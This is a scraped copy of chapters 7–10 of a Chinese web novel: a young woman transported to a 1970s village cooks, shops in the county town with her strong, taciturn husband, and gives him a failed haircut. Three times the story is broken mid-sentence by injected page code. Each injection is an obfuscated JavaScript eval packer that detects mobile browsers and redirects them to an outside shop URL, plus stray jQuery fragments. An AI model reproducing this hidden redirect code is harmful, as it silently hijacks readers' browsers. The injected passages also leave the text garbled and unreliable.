《和老公一起捡垃圾[七零]》
7. 石头
苏青棠晚上终于吃到了来这个世界后的第一顿舒服饭。
果然没有什么烦恼是一顿饺子不能解决的,如果一顿解决不了那就再吃一顿。
中午的炒腊肉她不是很喜欢吃,她更喜欢吃新鲜肉。
包饺子还有最省心的一点,帕鲁也会包饺子,尽管他只会包最简单的形状把两边捏合起来,但他力气大、动作快,一个人包了将近一百个饺子。
苏青棠只吃了十五个,其余全进了帕鲁的肚子,这种不用处理剩饭还不用吃隔夜饭的生活太幸福了吧。
晚饭后,苏青棠泡了一壶花茶,在院里来回走消食。
隔壁王婶踩着梯子爬上院墙,一眼看见了蹲在厨房门口洗碗的谢泊明。
她下午挖地的时候听说了,还以为自己听错了,她怎么不知道青棠结婚了?
别人说的有鼻子有眼,甚至大队长都没制止,想来肯定是发生了什么。
当她真的确认了苏青棠和傻子结婚,心里一阵发酸,说不出的怜惜。
这丫头本就够苦了,小小年纪就要扛起整个家。如今连婚姻大事都只能草率将就,往后的日子可怎么熬啊?
苏卫国和李海棠是多么和善温厚的一对夫妻,海棠刚嫁过来的时候叫李佑娣,海棠这名字还是她帮着一起想的。
夫妻俩都是命苦心善的实在人,谁能想到连带着肚子怀了三个月的孩子全都没了,老天爷怎么总是让好人没好报呢。
王婶收回思绪:“青棠,你在干啥呢?”
“婶子,我吃饱了散散步消食,免得待会睡不着。”
王婶看着院里来回走的苏青棠,心里犯嘀咕,估摸是大队长接济了新婚夫妻俩,不然哪能吃饱了遛弯消食?这年月谁家不是饥一顿饱一顿,她可没听过谁吃饱了专门走几步路,怕撑得睡不着。
“那你早点睡啊,明早还上工呢。”
王婶不理解她的举动,却也没有明着点破。有大队长帮衬是好事情,要不是自家实在没余粮,她说啥也得把青棠接到自己家里养。
既然青棠结婚了,以后只能尽量帮衬着,一个小孩子和傻子结婚过日子,想想就命苦。
苏青棠不知道王婶的心理活动,但看王婶对她怜爱的神色就知道对方在心疼她。
她不反感别人的同情。因为王婶是个好人,有这样的邻居互帮互助,日子也能轻松点。
苏青棠消完食,打算洗个衣服再睡觉。
原身只有两件打满补丁的单衣,苏青棠从自己囤的衣服里挑挑选选,发现除了睡衣、家居服、还有贴身穿的内衣、袜子这些藏在里面的衣物,竟然没一件外套和裤子能直接穿出门。
不是款式不对,是压根没法跟农村的衣服沾上边。好在内衣袜子不用露在外面,换成现代款的没人能发现,不用穿原身洗到发黄的小背心和破洞袜。
虽说她囤的大多是基础款,可跟1976年的衣服相比差的太多了,一眼就能看出来她的衣服不是百货商店的款式。
这时候大家的衣服不是灰黑蓝就是军绿色,布料不是粗布就是卡其布,的确良都算稀罕的时髦品。
人家领口、袖口设计的是小方领、直筒袖,主打一个朴素耐穿;而她的衣服料子是桑蚕丝、高支棉、天丝、醋酸,哪怕最便宜百搭的纯色莫代尔面料都带着光泽,领口和袖口的小设计花样百出,简约中带着精致,穿出去怕是会被打成特务。
她一个孤女在大队生活哪能随心所欲,突然穿一身新衣服肯定引人注意。人人都知道苏父有抚恤金,谁知道有没有人暗中惦记。
不知道小说里主角穿越后立马掏出来大把物资挥霍还不会引人注意到底是怎么做到的,怎么到自己身上,想进城赶集都要大队开证明。
家里有异性,苏青棠为了避嫌,于是把内衣混在换洗的衣物中间一起洗。
她正遮遮掩掩用手搓着内衣,帕鲁不知道从哪里突然冒了出来,伸手就把她面前的脸盆端了过去。
苏青棠当场愣住,手上还滴着泡沫,这是干啥?
“水冷,我来。”
苏青棠大脑宕机了两秒,立马上前抢脸盆。
她很感激帕鲁的贴心,但她正在洗内衣啊!
谢泊明没懂她为什么反应那么大,眼神里带着迷茫,洗衣服不是他的工作么?
苏青棠解释道:“我的衣服我自己洗就好了,待会拧衣服可能需要你帮忙,我力气不太够。”
见她这么说,谢泊明点了点头,退到院墙边上,背对着苏青棠,不知在墙角琢磨什么。
夜里,苏青棠早已进入梦乡,谢泊明在床上睁开眼,手上多了块带着金属光泽的石头,这是他之前在山洞随手捡的,手感温润就留了下来。
他把玩了一会儿,又放了回去。
谢泊明摸清楚了小姑娘的起床时间。天快亮的时候,他轻手轻脚起身收拾好床铺离开房间。
几乎是谢泊明关上门的同时,苏青棠也睁开了眼睛,眼里没有半点倦意。
她的生物钟很早,晚上八点睡觉,凌晨三点半就能听见身边的动静,四点钟已经彻底意识清醒。
只是起太早没事做,她躺在床上发呆想事情,顺便整理空间物资,选几本打发时间的杂书,再把能拿出来用的东西单独放在一起,方便随时取出。
苏青棠正想着,就听到帕鲁出门的动静。他跟大队长生活的时候,每天雷打不动早起挑水,直到把水缸装满为止。
大队长上了年纪,肯定不能亲自去挑水。现在他要挑自己家和大队长家一天要用的水,起得早并不奇怪。
苏青棠收回发散的意识,拿出一双纯棉男士袜子。
她和帕鲁共处一室,没闻到帕鲁身上有异味。帕鲁被大队长教得很有教养,身上拾掇的很干净。他收工后会去河里洗澡洗衣服,就是头发和胡子邋里邋遢的,估计不怎么剪。
他脚上穿的黄胶鞋不透气,袜子不知是什么材质,干脆拿双棉袜送给他,也好防患于未然。万一捂出来脚汗,遭罪的可是她啊。
谢泊明在河边处理完剩下的野猪肉,他将猪的五脏六腑全都扔掉,肉洗的干干净净,争取没留下一滴血,免得吓到了小姑娘。
他把处理干净的猪肉放回空间,挑着四桶水健步如飞,半滴都没撒出来。
苏青棠在他挑水的时间段起来了一次。她从空间拿了几颗个头很小的土豆丢进米缸藏着,中午就能做土豆焖饭了。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16364270|183852||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
土豆在她老家的方言叫洋芋,用农村烧柴的大铁锅焖出来带着柴火香和米锅巴的洋芋蒸饭特别好吃,这也是苏青棠为数不多的幸福童年回忆。
谢泊明把水缸放满,从空间取出猪肉放进锅碗瓢盆。家里厨具少的可怜,剩下的猪肉实在放不下,只能把干稻草铺在吃饭的小桌上,再把猪肉放上面。
他站在门口敲了敲门,觉得应该问问小姑娘。这么多猪肉即便是他的饭量,也得两个月才能吃完。
小姑娘的饭量忽略不计,每顿饭跟猫食似的,才吃几口就放下了筷子。
“等我一下,我马上就起。”苏青棠早就换好了衣服,只是装作现在是自己的生物钟。
自从帕鲁住进来,早上起床出门后从不进卧室。除非她已经起床穿好衣服出来,他才会进去放东西和拿东西。
苏青棠打开门:“怎么啦?”
谢泊明指着桌上的肉:“太多了,放不下。”
苏青棠心想这也没多少啊,谢泊明看出她的想法,又走到厨房门口:“里面还有。”
苏青棠心里咯噔一下,意识到大事不妙,连忙跑去厨房。
这哪是还有一些,锅碗瓢盆里堆满了洗得干干净净、切得大小均匀的肉块。
厨房里猪山猪海,放眼望去全是红白相间的肉,像一座座分布不同地区的肉山。
她脑子都懵了,忍不住在心里哀嚎,这头野猪到底得有多大啊?!
谢泊明看见小姑娘的反应,自己也不由得紧张起来,担心自己好心办坏事。
可他昨天分明听到小姑娘惋惜,那么大一头野猪只拿回来两块肉,不知道剩下的会便宜什么野兽。
他正是听小姑娘嘴里念叨,才想着把肉拿出来,不管是做成腊肉或是如何处理,全凭小姑娘的想法。
谢泊明低下头:“对不起。”
苏青棠惊讶地转头:“你在跟我道歉吗?我…我不是怪你的意思,只是在烦恼这么多猪肉我们该藏在哪里。”
要是帕鲁再傻一点,她直接当着他的面把肉收进空间,顺便哄哄他就完事。
可显然帕鲁没那么笨,人家机灵着呢,现在这种呆呆笨笨的状态正适合。
谢泊明看向屋檐:“风干、烟熏。”
这么多肉全做成腊肉,这得吃多少年才能吃完啊!苏青棠想想就觉得头大。
苏青棠目光突然停顿,她发现了一个小问题。
“这头猪的内脏去哪了?”
“扔了,臭。”
苏青棠捂着胸口:“你竟然把猪内脏扔了,那可是猪身上的宝贝啊!你知道猪肝、猪心、猪肺、猪腰子、猪大肠有多好吃吗?”
随即看到帕鲁迷茫的神色,她无奈地叹气:“算了,我没有责怪你的意思,下次记得不要再把内脏扔掉了。”
谢泊明没吃过动物内脏,从来都是丢掉。他从小姑娘的神情里看出来,自己应该是丢掉了这头猪身上最好吃的部位。
他当即转身就往门口走:“我去捡。”
苏青棠连忙拉住他的衣服:“你扔哪儿的?要是扔在山上就别去了,肯定被野生动物吃完了。”
谢泊明沉默地站在原地,懊恼不已。
8. 进城
苏青棠挑出十斤肉质较好的部位,往水桶底铺了层干稻草把肉藏好。
她对着帕鲁交代:“你假装去挑水,趁现在天刚亮大队没多少人出门,把肉给大队长家送去。”
等谢泊明从大队长家回来,苏青棠问他:“爸有没有问你猪肉哪来的?”
谢泊明摇摇头:“他知道。”
父亲对他隔三差五从外面带回野猪肉和山鸡野兔的事见惯不怪,只是叮嘱他下次不要再送,免得被人看见遭人眼红。
谢泊明把他的话当成耳旁风,老人对他有恩,他不可能做到不管不顾。
苏青棠稍稍松了口气,“那就好,爸一个人生活,我们平时多照看着点。”
从地里核对完人数回来,孙萍和李大娘路上商议着下午去县里赶集采买生活物品,顺口问苏青棠:“青棠,跟我们一块儿去不?”
苏青棠早就等着这一天了,终于能去县城逛一逛。
大队离县城说远不远,但也不近,恰好刚出县城,在城乡交界处,要是骑自行车的话三十分钟就到了。
中午吃饭的时间,同事们先后离开办公室。谢老头叫住了苏青棠,从贴身口袋掏出一个巴掌大的布包。褪色的布包用旧线缝了边角,一看就是贴身带了好些年。
他把布包塞到苏青棠手里:“丫头,拿着,看买点啥。你跟大傻结婚啥也没要,虽说是上门,也不能委屈了你。”
谢老头态度坚决,苏青棠没法推辞,只得收下。
回家路上,苏青棠心里堵得慌,说不出的难受。她走出办公室就打开了布包,里面是几张皱巴巴的票据,两张布票、两张糖票、还有两张猪肉票。老人家省吃俭用攒了很久,大队长身上的补丁不比别人少,都没给自己做一身新衣裳。
苏青棠告诉帕鲁自己下午要去赶集,如果自己下午回来的时间晚,他就自己热剩饭吃。
话刚说完她又顿住,帕鲁每顿饭吃得一粒米都不剩,中午这顿真能有剩饭吗?
她忍不住笑了,改口道:“你床底下藏着两箱泡面,要是饿了就先泡两包垫垫,等我回来给你做大餐。”
谢泊明也想跟着去赶集,他埋头往灶里添火,突然开口说了一句:“我有钱。”
苏青棠趁着油热把切成块的土豆推到锅里,热油瞬间噼里啪啦响个不停,盖过了他的声音。
“啊?你说什么,我没听清。”
谢泊明提高了音量:“我能拎东西。”
土豆在油锅里翻滚,很快炸得金黄焦香,苏青棠把特地蒸的夹生的米饭倒在土豆上,盖上锅盖焖饭。
她理解了帕鲁的意思:“你是说你也想去吗?”
“嗯。”谢泊明有些不好意思,他听小姑娘说要跟大娘她们一起进城,担心自己加入会让她们不自在,可对县城的好奇战胜了顾虑。
苏青棠想也没想就同意了:“那就一起去吧,反正我们是坐牛车去,多个人也能坐下。”
到了约定的时间,苏青棠带着背着背篓的谢泊明到了。
李大娘一看见他俩,嘴角的笑意合不拢:“阿明也跟着来了?看看人家阿明多贴心,还陪着青棠一起,是怕青棠一个人拎不动东西吧!”
以前大家都喊谢泊明傻子,因为大队长也喊他大傻。他们或许没有恶意,但确实不尊重人。现在跟苏青棠关系亲近的人都心照不宣地改了口,尽量把他当正常人对待。
不然一个傻子跟一个父母双亡的孤女搭伙过日子,任谁看了都觉得这日子没盼头,万一青棠心里委屈想不开了咋整。
苏青棠在车上坐好,谢泊明把背篓放在身边,他在背篓里
孙萍背着半人高的背篓姗姗来迟,见到谢泊明眼睛一亮。
“傻...阿明来了啊。正好我今天想多买点东西,到时候可得劳烦你帮我背下背篓。”
李大娘嗔了她一眼:“你不得先问问青棠的意见?青棠可是一家之主。”
苏青棠连忙笑着摆手:“我买的东西不多,阿明哥是个热心肠,帮你搭把手肯定愿意。不过你要是买的东西多,也别让他一个人扛,到时候咱们仨搭手抬上车,能省不少力气。”
虽然帕鲁有着深不见底的力气,但苏青棠不想让他白白被人占用劳动力,免得别人习惯了,觉得这是他应该做的。更何况他力气大、吃得多,别人又不给他管饭。
孙萍尴尬地笑了笑:“我哪会一直占着他,就最后买完东西回牛车的路程让他帮我背一段路,不会累着他。”她又不服输地调侃:“倒是你,都会心疼人了。”
苏青棠这两天被调侃习惯了,她半点没脸红,反而弯着嘴角凑到孙萍身边:“孙姐,你还好意思调侃我。你不也心疼自家男人吗,我可听说你今天要扯布给他做衣服呢。”
孙萍把苏青棠推到谢泊明怀里:“去去去,就你属兔的耳朵尖。大娘,借你肩膀让我靠着眯一会儿,到地方了喊我。”
谢泊明下意识扶着小姑娘,苏青棠在他身边坐稳,没有继续跟孙姐互怼,好奇地东张西望,小脸上满是兴奋。
苏青棠激动了没一会儿,就失去了兴致。路上除了连绵不断的山还是山,偶尔见到几间房子,也跟自家大队的土坯房没两样。
当然最熬人的是坐车。哪怕车架上垫了一层稻草,也挡不住硬邦邦的木头硌人。
她身上本就没多少肉,屁股上更是没二两肉,坐骨抵着车架被硌得难受,怎么挪都找不到舒服的姿势。
苏青棠忍不住想:哪怕下去跟着牛车跑,也比在车上被硌得坐立不宁强。
可李大娘和孙姐正闭目养神,看起来习以为常的样子,她要是真下去跑,反倒显得自己像脑子有病,只好把念头压了回去。
终于熬到了进城,苏青棠立马从车上跳下去。
“我想先逛逛,好久没来县城了。”这话不假,原身一家人不怎么来县城,以往采办生活用品,都是苏父借辆自行车去煤矿附近的公社一次性买回来。
自从那条路发生了泥石流,到现在还没彻底清理完。况且苏母就是在那条路上出的事,如今又有泥石流的隐患,想买东西要么绕路,要么只能来县城。
李大娘有些不放心:“你一个人别跑丢了。”
孙萍笑着打趣:“大娘,人家有俩人呢。”
苏青棠笑着道:“我跟阿明哥四处逛逛,待会去供销社找你们汇合。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16364271|183852||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>她俩要买的东西多,肯定要在供销社待好一会儿。
苏青棠正好想带着帕鲁去理发,顺便刮胡子。帕鲁的发型留得有点长,显然是许久没剪了。前面的头发垂下来挡着一半眼睛,碎发胡乱耷拉着,倒有点像漫画里那种带着病娇阴湿感的款式;后面的头发垂到了脖子附近,有点拖沓。
其实单看整体轮廓并不难看。
只是他每天在地里干农活,风吹日晒不说,汗水一浸,头发就粘在头皮和脖颈上,软塌塌的一点儿也不清爽,哪还有什么漫画感,只剩邋遢的感觉,看得苏青棠总觉得该好好拾掇拾掇。
谢泊明身材高大,苏青棠跟他说话都得抬头,因此没怎么仔细瞧过他正脸毫无遮挡的模样。只有第一次碰面的时候大概扫了一眼,只记得眉眼轮廓周正,不磕碜,看着挺顺眼。
两人到了理发店门口才知道,剪头发也要票,门口还排着长队,苏青棠只得带着帕鲁去别处逛。
她并没有感到气馁,大不了回家自己给他剪。之前自己的空气刘海都是对着镜子练出来的手艺,剪短发不就是几剪子下去完事儿,手拿把掐,没道理给帕鲁剪个短发还能翻车。
两人顺着街逛到国营肉铺,柜台里只剩了几根骨头和一堆内脏。苏青棠跟柜台里的师傅说要两根猪肋排,又问能不能把剩下的猪肠一起卖给她。
家里还剩一堆野猪肉吃不完,需要用肠衣做腊肠,不然总不能全做成腊肉,那得吃到猴年马月。
她特意嘱咐师傅:“麻烦您给翻干净点,我用来做肠衣得无油无垢,免得放久了变质。”
师傅见她要的是没人抢的内脏,痛快地答应了,收了钱和肉票,仔细地把猪肠里外洗好,连猪肋排一起用油纸包好递过来。
谢泊明在苏青棠伸手前比她先一步接过,顺手放进了身后的背篓里。
从肉铺离开后,街上偶尔有骑着二八大杠的人路过,谢泊明盯着自行车目不转睛,像个没见过世面的小孩子一样。
苏青棠见他这幅模样,不由得心软。一辆二八大杠竟然吸走他全部注意力,也太容易满足了。
她空间代步工具应有尽有,别说两轮车,还有两辆越野车和一辆设备齐全的旅游房车,可惜没法光明正大拿出来。不然送他一辆自行车,以后自己进城,屁股能少遭点罪。
苏青棠带着帕鲁在县城逛了一圈,繁荣程度跟她想象中有点出入,和她上辈子去支教时的山区集市差不多。
她在供销社扯了几尺布料才跟李大娘她们会合。
孙萍踮脚想看背篓里的东西,可惜谢泊明太高,只能瞥见叠放整齐的花布。
“青棠,你买这么漂亮的料子啊?”花布价格比一般的布要高一点,她都舍不得买。
苏青棠抿着嘴笑:“孙姐,你眼睛真尖!这是我从一堆布料里挑出来最漂亮的一块花布,想做件薄衬衫,没想到你先看出来了。可惜只能扯几尺,要是有钱就把那一匹布全买了,也送你一条。”
苏青棠熟练使用现代职场领导的画饼套路,反正她买不起一匹布,真买了未必会送。总之先把好话说出去,对方只会感到开心,不会再揪着她花大价钱买了花布这件事不放。
9. 天菜
回家后,苏青棠发誓自己下次进城一定要带坐垫,牛车是一天也坐不下去了。
谢泊明把背篓里的东西全放到了桌上,然后独自坐在屋檐下面发呆。
苏青棠在床上躺了一会儿,终于想起了正事。
她从空间拿出自己的剪发套装,准备给帕鲁洗心革面。
苏青棠叫帕鲁去洗头,她搬来高凳放在门槛上,又去厨房把烧火的小矮凳抱出来放院子里。
自己坐高凳,帕鲁坐在院子里的矮凳上,这个高低差正适合剪头发。
谢泊明顶着一头湿漉漉的头发坐在小矮凳上,两条长腿曲起来碰到膝盖,模样有点可怜。
苏青棠帮他擦了擦头发,直到不再滴水,拿起剪刀咔咔咔在他头上运作起来。
地面很快堆起乌黑浓密的发丝,苏青棠越剪越顺手,她心里不由得涌起自豪,剪头发也没多难嘛。
或许她应该去当这个时代的托尼老师,人家国营理发店生意爆满,理发师拥有绝对的权力,非必要不能殴打顾客,而顾客只能老老实实配合,这工作也太爽了。
剪完头发,帕鲁总算露出了正脸,接下来是胡子。
苏青棠捏着下巴,端详着帕鲁的正脸。
还别说,帕鲁竟然颇有几分姿色。他此时的模样就算不刮胡子,放在网上也是叔系天菜的长相。
想到这,苏青棠有点小窃喜。只要再活四十年,说不定还能送帕鲁当网红,吃奶奶辈的流量。
一想到自己连未来养老都有了保障,苏青棠脸上的笑容越来越大:“咳咳,我来给你刮胡子,你千万不要乱动,不然可是会破相的哦。”
刮胡子苏青棠可太熟悉了,无它,唯手熟尔。
她有多年刮眉毛经验,刮胡子比剪头发更手拿把掐。
苏青棠怎么舍得让他这张脸破相,帕鲁的姿色可是自己的养老保险,等以后保险兴起了一定要给他的脸买保险!
到时候什么秀才状元、一笑倾城倾国的网红,哪有帕鲁这张脸能打。
帕鲁脸上的胡茬越来越稀疏,原本遮了小半张脸的青黑胡茬被刮得干干净净,露出底下光洁的下颌线。
她后退半步,借着屋檐下的灯光仔细打量:刮掉了显老的胡茬,额前的碎发也都剪到了发际线。帕鲁的眉眼很清俊,眼尾上挑却不锋利,鼻梁挺阔,连嘴唇的轮廓都透着少年气,完全没她猜测的那么老。
苏青棠忍不住伸手戳了戳他的脸颊,皮肤细腻,触感软乎乎的,跟他高大的身形一点都不搭。
怎么突然感觉自己才是老牛吃嫩草呢。
她紧张地咽了咽口水,提前做好了心理准备:“你…你到底多大啊?”
谢泊明被她突然的动作戳得一僵,耳尖悄悄泛红,声音也低了些许:“二十…二十三。”
“才二十三?”苏青棠瞪大了眼睛,之前他留着胡子怎么看都像是三十出头的糙汉,没想到收拾干净变了个人。眼神懵懂清澈,脸上的青涩还没完全褪去,这不就是刚从学校毕业的大学生吗?!
罪过罪过,苏青棠轻抚胸口。本以为自己吃点亏,现在貌似是她捡了大便宜。
苏青棠一颗心小鹿乱撞。剪头发之前心无杂念,问题是现在她面前坐着一个任她拿捏的绝世大帅哥,对方还是她招回来的上门女婿。
这无辜的眼神配上堪比动漫建模的脸,苏青棠不禁在心里呐喊:老天奶,之前是小的有眼无珠,错怪您老人家了!
本以为穿成渣男原配是被老天爷戏弄了,原来是命运大神的馈赠。看这事儿闹的,早说啊!
不过苏青棠的喜悦还没持续多久,帕鲁的头发一干,她脸上的笑容就僵住了。
空气瞬间安静下来,两人对着沉默,她的目光死死钉在帕鲁的头发上,心里只剩一个念头:完了。
刚才剪的时候手感火热,怎么头发干了变得像狗啃。说难听一点,狗啃都比她剪的整齐。
有首歌怎么唱来着,能应景地表达苏青棠此时的心情。
其实谢泊明并不知道发生了什么,只是见小姑娘一直盯着自己的头发,心里才有了不好的预感。
苏青棠脚趾已经在鞋底抠出了三室一厅,她只想找个地缝钻进去。然而在这最尴尬的时候,大脑偏要跟她做对,突然循环播放起一段旋律,歌词简直是为她量身定做:“我晒干了沉默,悔得很冲动”。
这感觉太熟悉了,就跟考试前越紧张,背的滚瓜烂熟的知识点全忘了,满脑子只剩歌词循环,关键还停不下来。
苏青棠觉得自己需要一首歌的时间来抢救一下,然后再用十首歌的时间把发型的问题圆过去。
“小明哥,嗯这个发型,不仔细看还行。如果你能接受它有点潦草,那么它还是挺耐看的,要不我送你一顶帽子吧?”
苏青棠心虚对手指,托尼老师真不是谁都能当的,难怪有些人不喜欢让学徒给自己剪发。
谢泊明抬手在头上摸了一把,参差不齐的触感让他对发型有了粗略的了解。
他拿起苏青棠给他刮眉的小刀,举起镜子,刷刷几下把头上仅剩的头发全部刮掉,只剩一层利落的青皮。
苏青棠目不转睛地盯着他的动作,她记得自己在哪看过一句话:男人帅不帅取决于他敢不敢剪寸头。
如果说刚才的帕鲁是眼神湿漉漉的无害小狗,那此刻头发刮成极短寸头后,彻底换了一种风格。
尤其是他对着镜子刮头发时,脸上半点表情都没有,下颌线绷成一道冷硬的弧线,连眉眼间的温润都淡了几分,只剩下不好惹的凌厉感,看着竟然有点凶。
谢泊明剪了个极短寸头,短到贴着头皮,是只有军人会留的利落模样。配上他本就挺拔的大高个,活像漫画里走出来的九头身硬汉。不是那种带着痞气的凶悍,而是往那一站,自带不好惹的气场,让人不敢轻易靠近。
哪怕他是个傻子,也足够唬住人了。
苏青棠羞愧得脸颊发烫,她明明抱着十足的信心,觉得能剪出一个超完美的发型,结果不如帕鲁随手用刮眉刀一刮。
谢泊明把刮眉刀擦干净:“没关系。”
帕鲁体贴的像个小天使,苏青棠更愧疚了:“明天咱们家蒸包子,多包点存着,以后早饭别吃泡面了。”
谢泊明没懂这个逻辑。他很喜欢泡面,不仅能吃饱,还能喝到鲜美的汤,他不喜欢干巴巴的包子。
苏
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16364272|183852||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
青棠用美食引诱他放弃泡面:“泡面没营养,偶尔垫垫肚子还行,不能天天吃。你放心,包子很好吃,馅还比饺子更丰富。你不是爱吃饺子嘛,咱们家现有的食材就能做猪肉粉条、白菜猪肉、荠菜猪肉等等,随便怎么排列组合,都能做出不一样的馅。”
谢泊明眼里闪过一丝迷茫。他吃过包子,跟她口中描述的完全不一样。
先前被邻居喊去帮忙盖房子,午饭就有肉包子。一起干活的人都抢着吃,说那是好东西。可他吃了两个,既没吃到里面的肉,也没品出来有多美味。
过年时有人给他家送过包子,他和父亲一人两个。据说是肉包子,他只隐约尝出来油渣的味道,没有吃到肉。
小姑娘信誓旦旦的样子,让谢泊明迟疑地点了点头,对她口中的包子有了不一样的期待。她厨艺好,做的饭菜是他从未吃过的美味,说不定做出来的包子跟他吃过的是两种东西。
至于头发,他完全不介意。从前他一直留寸发。只是这具身体来历不明,虽说和他原本的长相一模一样,但自己是跟虫族同归于尽,不可能留下完整的躯体。
他任由头发疯长,不过是想低调行事,免得被这具身体的熟人或仇人认出来,平白招惹麻烦。自从找回空间钮,他才没那么担心了,或许这就是他自己的身体。
苏青棠心里松了口气,只要给他做好吃的就能哄好,希望这个优点能一直保持下去。
谢泊明剪完头发,换上干活的衣服出了门。
大概过了半小时,大队响起一片喧哗声。
苏青棠听到动静,站在院子里犹豫要不要出去看看。
隔壁王婶家的大虎小虎大声嚷嚷着跑回来:“娘,快去大队看黑熊,大傻子从山上拖回来一头大黑熊!”
小虎大着嗓门补充:“好大一头熊,比爹还魁梧!”
王婶手上捻着缝被子的针,从屋里出来:“去去去,有你们这么说自己爹的?当心你爹回来揍你。还有,我跟你们说多少回了,别喊人家傻子。那是青棠姐姐的丈夫,你们吃了人家送来的炒腊肉,好意思喊人家傻子?”
大虎和小虎被母亲劈头盖脸训斥,心虚地耷拉着脑袋,不敢吭声。
“以后见到人家,要么喊哥哥,要么喊姐夫,再让我听见你们喊人家傻子,回头就让你爹好好收拾你们!”
王婶平时最护着俩孩子,可再宠溺也拎得清,不能把娃养成忘恩负义的白眼狼。谁真心对他们好,这俩小的总得心里有数才行。
苏青棠在院子里听完王婶训孩子,拿上大门钥匙出门。
她站在王家门口:“婶子,我听大虎喊着咱们大队来了头黑熊?要一起去看看吗?”
大虎瞬间抬起头,神色激动:“真的是熊!是大傻…哥从山上拖回来的,可惜断气了。”
他下意识看向母亲,这回总不能骂他了吧。
王婶瞪了他一眼,只想抄把扫帚抽他屁股,好在苏青棠没有在意他对帕鲁的称呼。
一旁的小虎怕被连累挨揍,又或是想讨好苏青棠,昨天那顿炒腊肉他现在还在回味着呢。
他轻轻扯了扯苏青棠的袖子,小声问:“姐姐,我们该叫大傻哥啥呀?”
10. 车速
谢泊明带回来的大黑熊被放在了大队部仓库,明天一早送去公社。
苏青棠跟着去看了一眼,果然是庞然大物,哪怕倒在地上也像一座大山。
沿路看过去,路上全是拖拽出来的痕迹。
谢泊明剪了短发,很多人没认出来他,就连大队长看见他都愣了几秒。
他把谢泊明拉到一边,压低声音:“野猪肉是不是从它嘴里弄出来的?”
谢老头以为黑熊是谢泊明打死的,心里忍不住发愁。
谢泊明点了点头,又摇了摇头:“它们打架,我捡漏。”
谢老头松了一口气:“你就说你去山上捡菌子,发现了这头死熊,不要提到野猪。”
谢泊明会捡菌子这事儿大队都知道,自从张猎户的打猎工具被收走后,没人敢往山里面去,只有谢泊明艺高人胆大能全须全尾从山上回来。
谢老头心知肚明,早上给他送来的猪肉,估摸着就是从野猪身上割下来的。
既然猪肉进了肚子,这件事只能到此为止。毕竟野猪身上已经动过刀子了,哪怕只割了一斤肉,这时候再把剩下的拿出来分,谁家不会多心?
指不定旁人嚼舌根说你藏了十斤八斤,不然好好的怎么会愿意大方地把一头猪分出来,到时有嘴都说不清,反倒落个不公平的话柄。
更何况,眼下更该上心的是,他儿子从山上带回来的黑熊尸体,上交到公社还能为大队争取一份荣誉呢。
大队民兵守在仓库门口,等凑热闹的人离开后,仓库大门上了一把锁。
苏青棠和王婶并排往回走,王婶津津乐道:“我还没见过这么大一头黑瞎子呢,记得小时候跟俺爹上山,我们拿着猎枪漫山遍野追野猪,别提有多痛快。”
大虎眼睛瞪得老大,连忙拽着母亲的手追问:“娘,你还摸过枪呢?!真的假的!”
王婶语气里满是自豪:“不就是枪么,你外公年轻时候还拿枪杀过两个鬼子呢,就是那把打野猪的猎枪。”
苏青棠心中的钦佩之意油然而起:“婶子,您父亲竟然杀过鬼子,好厉害啊!”
她只在抗日剧里看过打鬼子,没想到有朝一日抗战英雄离自己如此近。
王婶不好意思地笑了笑:“老头子上了年纪,最自豪的就是杀过鬼子,遗憾的是没能多杀几个。”
其实这些故事她早就听腻了,没想到青棠和孩子们把老头子的事迹当成了英雄传奇,一脸崇拜的模样。
次日,公社派人来核实情况,确认黑熊死于猛兽撕咬,不属于人为猎杀。检查过熊的完好程度,除了背部皮毛在地面摩擦有些损伤,这头熊的价值很高,至少得有200公斤。
中午吃过饭,公社干事点名让谢泊明和大队民兵把黑熊尸体用牛车送到公社。
大家齐心协力把黑熊抬上牛车。由于黑熊体积过大,牛车没有能坐人的空位,大家只能跟在后面推车,让一头老黄牛拉一头熊实在费力。
苏青棠在办公室窗户边跟同事们看完全程,孙萍挽着她的胳膊埋怨道:“你家男人咋突然剪那么短的头发,上午看见吓我一跳,看着也太凶了吧。”
苏青棠坐回座位,笑吟吟解释:“是我的错,我昨天带他进城本来是想剪头发呢,结果排了一条长队。我就想着不就是剪短发嘛,自己在家就给他剪了。”
孙萍预料到发生了什么,噗嗤笑出声:“你啊,剪头发真有那么简单,还要理发师干什么?”
“不过说实话,虽然看着凶了点,但你是捡到宝了。”
孙萍对着她挤眉弄眼,调侃道:“十里八乡都找不到第二个比你男人还俊的吧!”
面对孙萍的打趣,苏青棠脸上泛起红晕,坦坦荡荡承认:“确实,吃饭我都不用吃菜,光看他的脸能多吃两碗。”
